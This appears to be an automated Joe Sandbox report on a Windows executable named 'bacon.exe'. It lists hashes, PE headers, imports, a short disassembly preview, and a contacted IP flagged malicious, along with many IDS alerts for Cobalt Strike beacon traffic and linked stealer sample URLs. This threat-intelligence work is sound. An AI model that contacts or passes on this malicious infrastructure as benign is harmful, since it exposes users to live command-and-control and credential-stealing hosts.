URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:%u/	bacon.exe, 00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
46.173.214.102	unknown	Russian Federation		47196	GARANT-PARK-INTERNETRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543896
Start date and time:	2024-10-28 16:00:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	bacon.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: bacon.exe

Simulations

Behavior and APIs

Time	Type	Description
11:01:07	API Interceptor	3009514x Sleep call for process: bacon.exe modified

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GARANT-PARK-INTERNETRU	UfRKIdsNvD.exe	Get hash	malicious	Clipboard Hijacker	Browse	46.173.214.92
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc, Vidar	Browse	46.173.214.86
	Lisect_AVT_24003_G1B_122.exe	Get hash	malicious	Unknown	Browse	46.173.211.166
	OYSVIdqcxa.exe	Get hash	malicious	Glupteba, LummaC Stealer, RedLine, SmokeLoader, zgRAT	Browse	91.203.193.134
	hmxXVdsB8n.exe	Get hash	malicious	Tofsee	Browse	46.173.215.52
	nKTfb5FbuS.exe	Get hash	malicious	Stealc, Vidar	Browse	195.22.152.133
	https://uceg-klom.us21.list-manage.com/track/click?u=9b882a29c7ab3b3f6381abd18&id=56bb8add24&e=4fba4902f9x	Get hash	malicious	Unknown	Browse	45.143.139.133
	https://sbfat-sjbgq.us21.list-manage.com/track/click?u=9b882a29c7ab3b3f6381abd18&id=56bb8add24&e=4fba4902f9x	Get hash	malicious	Unknown	Browse	45.143.139.133
	https://ngsi-wfwf.us21.list-manage.com/track/click?u=9b882a29c7ab3b3f6381abd18&id=56bb8add24&e=4fba4902f9x	Get hash	malicious	LummaC Stealer	Browse	45.143.139.133
	https://ngsi-wfwf.us21.list-manage.com/track/click?u=9b882a29c7ab3b3f6381abd18&id=56bb8add24&e=4fba4902f9x	Get hash	malicious	Unknown	Browse	45.143.139.133

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Entropy (8bit):	7.097952574496256
TrID:	Win64 Executable (generic) (12005/4) 74.95% Generic Win/DOS Executable (2004/3) 12.51% DOS Executable Generic (2002/1) 12.50% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.04%
File name:	bacon.exe
File size:	289'792 bytes
MD5:	d8557aa9fd2e7e2f97eabf1f28a548c3
SHA1:	021d75cd310f0ad68d564d0407860a04458f8a53
SHA256:	866b2c7dc08682cc174c58bf5cfc6ca44af7696b28b8191e7ff003d97639934c
SHA512:	3107018c9eb84bc5200b827bbe8143b28e9a935ff57a5ca368203b49d75ac56b1c91f9bf850c10438ea5aad272eaa18e7aa57048224884e6c8536cee1e2cd9ed
SSDEEP:	6144:ospeX90P0lpPpDwcnmqvHwx0JK/QgLCbjNKC:VpeXDnCcmqvQaJK/REjNK
TLSH:	3B548EA5B987E1D2FF16ECF5CF507AB93A2AD5322D520A487344A5A0F8393184C1CF76
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d................./......"...h................@........................................... ... ............................

File Icon


Icon Hash:	aaf3e3e3918382a0

Static PE Info

General

Entrypoint:	0x4014b0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, DEBUG_STRIPPED
DLL Characteristics:	HIGH_ENTROPY_VA, NX_COMPAT
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:	0x401b60
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	d4e3ba1e8984c7a31117a5643de9ed85

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [00045FA5h]
mov dword ptr [eax], 00000001h
call 00007FDFE50A0C3Fh
call 00007FDFE50A046Ah
nop
nop
dec eax
add esp, 28h
ret
nop word ptr [eax+eax+00000000h]
nop dword ptr [eax]
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [00045F75h]
mov dword ptr [eax], 00000000h
call 00007FDFE50A0C0Fh
call 00007FDFE50A043Ah
nop
nop
dec eax
add esp, 28h
ret
nop word ptr [eax+eax+00000000h]
nop dword ptr [eax]
dec eax
sub esp, 28h
call 00007FDFE50A2054h
dec eax
test eax, eax
sete al
movzx eax, al
neg eax
dec eax
add esp, 28h
ret
nop
nop
nop
nop
nop
nop
nop
dec eax
lea ecx, dword ptr [00000009h]
jmp 00007FDFE50A0789h
nop dword ptr [eax+00h]
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
dec eax
jmp ecx
inc ecx
push esp
push ebp
push edi
push esi
push ebx
dec eax
sub esp, 40h
inc ecx
mov ecx, 00000004h
dec eax
arpl dx, si
dec eax
mov ebp, ecx
dec ebp
mov esp, eax
xor ecx, ecx
inc ecx
mov eax, 00003000h
dec eax
mov edx, esi

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4b000	0x888	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x48000	0x2c4	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x47060	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x4b214	0x1d8	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2048	0x2200	fac51b3961dcde614c515a39f20f81aa	False	0.5665211397058824	data	5.933363077683538	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x4000	0x424d0	0x42600	2d0a52dc16922a023a44828c20e76451	False	0.5794675435499058	dBase III DBT, version number 0, next free block index 10, 1st item "\341\363\305C\301x\306C\261x\306C\261x\306C\261\270\304C)~\306C\261x\306C\261x\306C\261x\306C\261x\306C\261x\306C\261x\306C\237\014\243;\305x\306CQ\331\304C\261h\306C\261\332\304C\261\|\306C\261x\306C\261x\306C\261x\306C\221x\306#\237"	7.114053856160158	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x47000	0x890	0xa00	40d01bdf53d1beed011f9942aea7f962	False	0.22890625	data	4.306297406016807	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.pdata	0x48000	0x2c4	0x400	3e51b7a038dbe95827f00342dd91733d	False	0.3896484375	data	3.2643791486767233	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.xdata	0x49000	0x240	0x400	69847897968bdd39bdab5c35cf334bd7	False	0.25	data	2.6093133014766496	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.bss	0x4a000	0x9d0	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x4b000	0x888	0xa00	0172201535c8e1678dd38d75b6e67836	False	0.309375	data	3.8674665143334335	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0x4c000	0x68	0x200	535aaaca1032e2e97e6f71123c9a7a6c	False	0.0703125	data	0.2655385886073115	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x4d000	0x10	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL

Import

KERNEL32.dll

CloseHandle, ConnectNamedPipe, CreateFileA, CreateNamedPipeA, CreateThread, DeleteCriticalSection, EnterCriticalSection, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetLastError, GetStartupInfoA, GetSystemTimeAsFileTime, GetTickCount, InitializeCriticalSection, LeaveCriticalSection, QueryPerformanceCounter, ReadFile, RtlAddFunctionTable, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, SetUnhandledExceptionFilter, Sleep, TerminateProcess, TlsGetValue, UnhandledExceptionFilter, VirtualAlloc, VirtualProtect, VirtualQuery, WriteFile

msvcrt.dll

__C_specific_handler, __getmainargs, __initenv, __iob_func, __lconv_init, __set_app_type, __setusermatherr, _acmdln, _amsg_exit, _cexit, _fmode, _initterm, _onexit, abort, calloc, exit, fprintf, free, fwrite, malloc, memcpy, signal, sprintf, strlen, strncmp, vfprintf

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-28T16:01:09.661206+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49162	46.173.214.102	80	TCP
2024-10-28T16:01:10.457346+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49163	46.173.214.102	80	TCP
2024-10-28T16:01:11.223277+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49164	46.173.214.102	80	TCP
2024-10-28T16:01:12.029853+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49165	46.173.214.102	80	TCP
2024-10-28T16:01:12.846988+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49166	46.173.214.102	80	TCP
2024-10-28T16:01:13.603745+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49167	46.173.214.102	80	TCP
2024-10-28T16:01:14.357513+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49168	46.173.214.102	80	TCP
2024-10-28T16:01:15.225953+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49169	46.173.214.102	80	TCP
2024-10-28T16:01:15.981334+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49170	46.173.214.102	80	TCP
2024-10-28T16:01:16.778798+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49171	46.173.214.102	80	TCP
2024-10-28T16:01:17.538708+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49172	46.173.214.102	80	TCP
2024-10-28T16:01:18.318563+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49173	46.173.214.102	80	TCP
2024-10-28T16:01:19.069444+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49174	46.173.214.102	80	TCP
2024-10-28T16:01:19.825781+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49175	46.173.214.102	80	TCP
2024-10-28T16:01:20.635896+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49176	46.173.214.102	80	TCP
2024-10-28T16:01:21.446226+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49177	46.173.214.102	80	TCP
2024-10-28T16:01:22.202269+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49178	46.173.214.102	80	TCP
2024-10-28T16:01:22.939237+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49179	46.173.214.102	80	TCP
2024-10-28T16:01:23.707859+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49180	46.173.214.102	80	TCP
2024-10-28T16:01:24.475029+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49181	46.173.214.102	80	TCP
2024-10-28T16:01:25.226830+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49182	46.173.214.102	80	TCP
2024-10-28T16:01:25.978463+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49183	46.173.214.102	80	TCP
2024-10-28T16:01:26.725683+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49184	46.173.214.102	80	TCP
2024-10-28T16:01:27.493015+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49185	46.173.214.102	80	TCP
2024-10-28T16:01:28.256684+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49186	46.173.214.102	80	TCP
2024-10-28T16:01:29.002773+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49187	46.173.214.102	80	TCP
2024-10-28T16:01:29.744490+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49188	46.173.214.102	80	TCP
2024-10-28T16:01:30.526900+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49189	46.173.214.102	80	TCP
2024-10-28T16:01:31.300388+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49190	46.173.214.102	80	TCP
2024-10-28T16:01:32.081165+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49191	46.173.214.102	80	TCP
2024-10-28T16:01:32.842419+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49192	46.173.214.102	80	TCP
2024-10-28T16:01:33.643840+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49193	46.173.214.102	80	TCP
2024-10-28T16:01:34.421923+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49194	46.173.214.102	80	TCP
2024-10-28T16:01:35.208545+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49195	46.173.214.102	80	TCP
2024-10-28T16:01:35.956318+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49196	46.173.214.102	80	TCP
2024-10-28T16:01:36.902125+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49197	46.173.214.102	80	TCP
2024-10-28T16:01:37.661565+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49198	46.173.214.102	80	TCP
2024-10-28T16:01:39.581415+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49199	46.173.214.102	80	TCP
2024-10-28T16:01:40.461747+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49200	46.173.214.102	80	TCP
2024-10-28T16:01:41.214814+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49201	46.173.214.102	80	TCP
2024-10-28T16:01:41.962291+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49202	46.173.214.102	80	TCP
2024-10-28T16:01:42.706444+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49203	46.173.214.102	80	TCP
2024-10-28T16:01:43.465408+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49204	46.173.214.102	80	TCP
2024-10-28T16:01:44.209238+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49205	46.173.214.102	80	TCP
2024-10-28T16:01:44.985257+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49206	46.173.214.102	80	TCP
2024-10-28T16:01:45.849733+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49207	46.173.214.102	80	TCP
2024-10-28T16:01:46.595238+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49208	46.173.214.102	80	TCP
2024-10-28T16:01:47.348124+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49209	46.173.214.102	80	TCP
2024-10-28T16:01:48.098119+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49210	46.173.214.102	80	TCP
2024-10-28T16:01:48.853359+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49211	46.173.214.102	80	TCP
2024-10-28T16:01:49.602701+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49212	46.173.214.102	80	TCP
2024-10-28T16:01:50.385267+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49213	46.173.214.102	80	TCP
2024-10-28T16:01:51.137249+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49214	46.173.214.102	80	TCP
2024-10-28T16:01:52.347348+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49215	46.173.214.102	80	TCP
2024-10-28T16:01:53.110950+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49216	46.173.214.102	80	TCP
2024-10-28T16:01:53.869903+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49217	46.173.214.102	80	TCP
2024-10-28T16:01:54.617164+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49218	46.173.214.102	80	TCP
2024-10-28T16:01:55.534049+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49219	46.173.214.102	80	TCP
2024-10-28T16:01:56.314757+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49220	46.173.214.102	80	TCP
2024-10-28T16:01:57.071082+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49221	46.173.214.102	80	TCP
2024-10-28T16:01:57.828175+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49222	46.173.214.102	80	TCP
2024-10-28T16:01:58.582432+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49223	46.173.214.102	80	TCP
2024-10-28T16:01:59.333683+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49224	46.173.214.102	80	TCP
2024-10-28T16:02:00.093793+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49225	46.173.214.102	80	TCP
2024-10-28T16:02:00.844878+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49226	46.173.214.102	80	TCP
2024-10-28T16:02:01.648937+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49227	46.173.214.102	80	TCP
2024-10-28T16:02:02.428901+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49228	46.173.214.102	80	TCP
2024-10-28T16:02:03.225566+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49229	46.173.214.102	80	TCP
2024-10-28T16:02:03.974332+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49230	46.173.214.102	80	TCP
2024-10-28T16:02:04.789405+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49231	46.173.214.102	80	TCP
2024-10-28T16:02:05.690128+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49232	46.173.214.102	80	TCP
2024-10-28T16:02:06.430343+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49233	46.173.214.102	80	TCP
2024-10-28T16:02:07.222417+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49234	46.173.214.102	80	TCP
2024-10-28T16:02:07.957934+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49235	46.173.214.102	80	TCP
2024-10-28T16:02:08.704593+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49236	46.173.214.102	80	TCP
2024-10-28T16:02:09.454926+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49237	46.173.214.102	80	TCP
2024-10-28T16:02:10.209336+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49238	46.173.214.102	80	TCP
2024-10-28T16:02:10.961807+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49239	46.173.214.102	80	TCP
2024-10-28T16:02:11.721401+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49240	46.173.214.102	80	TCP
2024-10-28T16:02:12.477281+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49241	46.173.214.102	80	TCP
2024-10-28T16:02:13.249098+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49242	46.173.214.102	80	TCP
2024-10-28T16:02:14.001931+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49243	46.173.214.102	80	TCP
2024-10-28T16:02:14.780970+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49244	46.173.214.102	80	TCP
2024-10-28T16:02:15.540468+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49245	46.173.214.102	80	TCP
2024-10-28T16:02:16.302711+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49246	46.173.214.102	80	TCP
2024-10-28T16:02:17.062308+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49247	46.173.214.102	80	TCP
2024-10-28T16:02:17.804563+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49248	46.173.214.102	80	TCP
2024-10-28T16:02:18.571861+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49249	46.173.214.102	80	TCP
2024-10-28T16:02:19.356327+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49250	46.173.214.102	80	TCP
2024-10-28T16:02:20.116503+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49251	46.173.214.102	80	TCP
2024-10-28T16:02:20.867383+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49252	46.173.214.102	80	TCP
2024-10-28T16:02:21.619649+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49253	46.173.214.102	80	TCP
2024-10-28T16:02:22.372142+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49254	46.173.214.102	80	TCP
2024-10-28T16:02:23.252485+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49255	46.173.214.102	80	TCP
2024-10-28T16:02:24.010420+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49256	46.173.214.102	80	TCP
2024-10-28T16:02:24.783923+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.22	49257	46.173.214.102	80	TCP
